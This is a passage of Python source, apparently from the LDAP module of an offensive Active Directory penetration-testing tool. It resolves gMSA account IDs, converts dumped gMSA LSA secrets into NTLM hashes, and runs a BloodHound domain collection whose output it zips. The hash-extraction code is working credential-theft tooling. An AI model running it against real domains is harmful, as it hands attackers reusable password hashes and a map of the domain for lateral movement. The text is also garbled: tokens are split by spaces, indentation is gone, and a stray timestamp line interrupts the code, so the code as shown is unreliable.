self . logger . debug ( f " Hash2: { str_hash } " )
return str_hash
def gmsa_convert_id ( self ) :
if self . args . gmsa_convert_id :
if len ( self . args . gmsa_convert_id ) != 64 :
self . logger . error ( " Length of the gmsa id not correct : ' ( " )
else :
# getting the gmsa account
search_filter = ' (objectClass=msDS-GroupManagedServiceAccount) '
gmsa_accounts = self . ldapConnection . search ( searchFilter = search_filter ,
attributes = [ ' sAMAccountName ' ] ,
sizeLimit = 0 ,
searchBase = self . baseDN )
if gmsa_accounts :
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( gmsa_accounts ) )
for item in gmsa_accounts :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
sAMAccountName = ' '
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
if self . decipher_gmsa_name ( self . domain . split ( ' . ' ) [ 0 ] , sAMAccountName [ : - 1 ] ) == self . args . gmsa_convert_id :
self . logger . highlight ( " Account: {:<20} ID: {} " . format ( sAMAccountName , self . args . gmsa_convert_id ) )
break
else :
self . logger . error ( " No string provided : ' ( " )
def gmsa_decrypt_lsa ( self ) :
if self . args . gmsa_decrypt_lsa :
if " _SC_GMSA_ { 84A78B8C " in self . args . gmsa_decrypt_lsa :
gmsa = self . args . gmsa_decrypt_lsa . split ( " _ " ) [ 4 ] . split ( " : " )
gmsa_id = gmsa [ 0 ]
gmsa_pass = gmsa [ 1 ]
# getting the gmsa account
search_filter = ' (objectClass=msDS-GroupManagedServiceAccount) '
gmsa_accounts = self . ldapConnection . search ( searchFilter = search_filter ,
attributes = [ ' sAMAccountName ' ] ,
sizeLimit = 0 ,
searchBase = self . baseDN )
if gmsa_accounts :
answers = [ ]
logging . debug ( ' Total of records returned %d ' % len ( gmsa_accounts ) )
for item in gmsa_accounts :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
sAMAccountName = ' '
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' sAMAccountName ' :
sAMAccountName = str ( attribute [ ' vals ' ] [ 0 ] )
if self . decipher_gmsa_name ( self . domain . split ( ' . ' ) [ 0 ] , sAMAccountName [ : - 1 ] ) == gmsa_id :
gmsa_id = sAMAccountName
break
# convert to ntlm
data = bytes . fromhex ( gmsa_pass )
blob = MSDS_MANAGEDPASSWORD_BLOB ( )
blob . fromString ( data )
currentPassword = blob [ ' CurrentPassword ' ] [ : - 2 ]
ntlm_hash = MD4 . new ( )
ntlm_hash . update ( currentPassword )
passwd = hexlify ( ntlm_hash . digest ( ) ) . decode ( " utf-8 " )
self . logger . highlight ( " Account: {:<20} NTLM: {} " . format ( gmsa_id , passwd ) )
else :
2023-02-05 10:43:12 +00:00
self . logger . error ( " No string provided : ' ( " )
def bloodhound ( self ) :
auth = ADAuthentication ( username = self . username , password = self . password , domain = self . domain , lm_hash = self . nthash , nt_hash = self . nthash , aeskey = self . aesKey , kdc = self . kdcHost , auth_method = ' auto ' )
ad = AD ( auth = auth , domain = self . domain , nameserver = self . args . nameserver , dns_tcp = False , dns_timeout = 3 )
collect = resolve_collection_methods ( ' Default ' if not self . args . collection else self . args . collection )
if not collect :
return
self . logger . highlight ( ' Resolved collection methods: %s ' , ' , ' . join ( list ( collect ) ) )
logging . debug ( ' Using DNS to retrieve domain information ' )
ad . dns_resolve ( domain = self . domain )
if self . args . kerberos :
self . logger . highlight ( " Using kerberos auth without ccache, getting TGT " )
auth . get_tgt ( )
if self . args . use_kcache :
self . logger . highlight ( " Using kerberos auth from ccache " )
timestamp = datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " ) + " _ "
bloodhound = BloodHound ( ad , self . hostname , self . host , self . args . port )
bloodhound . connect ( )
# root_logger = logging.getLogger()
# root_logger.setLevel(logging.INFO)
# bad bad coding but it's late and I don't have much time
from termcolor import colored
debug_output_string = " {:<24} {:<15} {:<6} {:<16} \033 [1m \x1b [33;20m %(message)s \x1b [0m " . format ( colored ( self . logger . extra [ ' protocol ' ] , ' blue ' , attrs = [ ' bold ' ] ) ,
self . logger . extra [ ' host ' ] ,
self . logger . extra [ ' port ' ] ,
self . logger . extra [ ' hostname ' ] if self . logger . extra [ ' hostname ' ] else ' NONE ' )
formatter = logging . Formatter ( debug_output_string )
streamHandler = logging . StreamHandler ( )
streamHandler . setFormatter ( formatter )
root_logger = logging . getLogger ( )
root_logger . handlers = [ ]
root_logger . addHandler ( streamHandler )
root_logger . setLevel ( logging . INFO )
bloodhound . run ( collect = collect ,
num_workers = 10 ,
disable_pooling = False ,
timestamp = timestamp ,
computerfile = None ,
cachefile = None ,
exclude_dcs = False )
self . logger . highlight ( " Compressing output into " + self . output_filename + " bloodhound.zip " )
list_of_files = os . listdir ( os . getcwd ( ) )
with ZipFile ( self . output_filename + " bloodhound.zip " , ' w ' ) as zip :
for each_file in list_of_files :
if each_file . startswith ( timestamp ) and each_file . endswith ( " json " ) :
zip . write ( each_file )
os . remove ( each_file )